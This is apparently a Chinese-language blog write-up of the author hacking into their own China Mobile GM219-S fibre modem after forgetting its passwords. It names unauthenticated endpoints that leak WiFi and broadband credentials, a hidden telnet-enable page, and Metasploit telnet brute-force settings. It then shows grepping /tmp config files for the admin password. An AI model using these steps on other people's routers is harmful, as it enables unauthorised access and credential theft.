记一次移动光猫(GM219-S)安全测试

前言

过个年,WiFi密码忘记了…光猫管理密码也忘记了(这个光猫也不支持物理按钮重置设置),但是手机还连着WiFi,正规操作找回不了密码,那就用咱们测试的思维来试试PWN掉这个路由器。

过程

未授权获取WiFi连接密码

还好之前没闲着,发现管理的几个未授权访问的接口如下:

获取宽带账号密码: /GET_USER_WAN_PPP_INFO.json

获取 WLAN 连接信息: /GET_WLAN_LINK_INFO.json

获取 DHCP 信息: /GET_NET_DHCP_INFO.json

手机访问 http://192.168.1.1/GET_WLAN_LINK_INFO.json ,获取密码:xxx,电脑连接登录

信息收集

端口收集结果

Scanning promote.cache-dns.local (192.168.1.1) [1080 ports]
Discovered open port 80/tcp on 192.168.1.1
Discovered open port 8080/tcp on 192.168.1.1

目录扫描结果

获得的一些目录:

/login.html
/login.asp
/index.asp
/telnet.asp
/upgrade.asp
...

突破口

在目录扫描的时候,发现/telnet.asp -> 跳转到 /cgi-bin/telnet.asp 如下图所示界面:

open_telnet

这个功能可以开启光猫的telnet服务,先开启,然后再使用Nmap扫描下端口:

Scanning promote.cache-dns.local (192.168.1.1) [1080 ports]
Discovered open port 8080/tcp on 192.168.1.1
Discovered open port 80/tcp on 192.168.1.1
Discovered open port 8023/tcp on 192.168.1.1

发现多了个8023端口,其对应的服务果然是telnet:

8023/tcp open  telnet
| fingerprint-strings:
|   GenericLines:
|     Star-Net Broadband Router
|     Login:
|     Password:
|   GetRequest:
|     Star-Net Broadband Router
|     Login: GET / HTTP/1.0
|     Password:
|   Help:
|     HELP
|     Star-Net Broadband Router
|     Login: Password:
|   NCP:
|     Star-Net Broadband Router
|     Login: DmdT^@^@^@
|     ^@^@^@^A^@^@^@^@^@
|   NULL:
|     Star-Net Broadband Router
|     Login:
|   RPCCheck:
|     Star-Net Broadband Router
|     Login:
|     ^@^@(r
|   SIPOptions:
|     Star-Net Broadband Router
|     Login: OPTIONS sip:nm SIP/2.0
|     Via: SIP/2.0/TCP nm;branch=foo
|     From: <sip:nm@nm>;tag=root
|     <sip:nm2@nm2>
|     Call-ID: 50000
|     CSeq: 42 OPTIONS
|     Max-Forwards: 70
|     Content-Length: 0
|     Contact: <sip:nm@nm>
|     Accept: application/sdp
|     Password:
|   tn3270:
|     ^@IBM-3279-4-E
|     ^YStar-Net Broadband Router
|_    Login:

telnet开启,爆破一波走起。(Caimima生成个密码口令)

caimima

试了nmap貌似没啥用,开个msfconsole来爆破:

use auxiliary/scanner/telnet/telnet_login
set RHOSTS 192.168.1.1 #设置模板
set RPORT 8023 #设置端口
set USER_FILE /root/user.txt #设置用户字典
set PASS_FILE /root/pass.txt #设置密码字典
exploit 192.168.1.1 #启动

幸运的是爆破出来了,是组合弱口令:

telnet_brute

获取密码

运行telnet 192.168.1.1 8023输入账号密码进去,执行sh发现可以直接进入shell:

telnet_shell

接下来就是找密码到处瞎翻(没有PWN路由器的经验,很难受),执行 ls -a -l 发现有软链接,很多指向了/tmp目录:

ls

于是进入/tmp目录,到处翻腾:

tmp

利用这几个关键词看看是否有文件中包含了:adminCMCC(中国移动)、passworduser

e.g. grep 'admin' ./*,等了老半天了,发现/tmp/ctromfile.cfg文件内有点东西:

admin

复制密码登录,怼进去:

cmccadmin

信息整合

做完测试并针对测试过程的信息进行整合,最后形成字典以便后面再次遇到~

结尾

最后我只是默默的把user用户密码改了一下~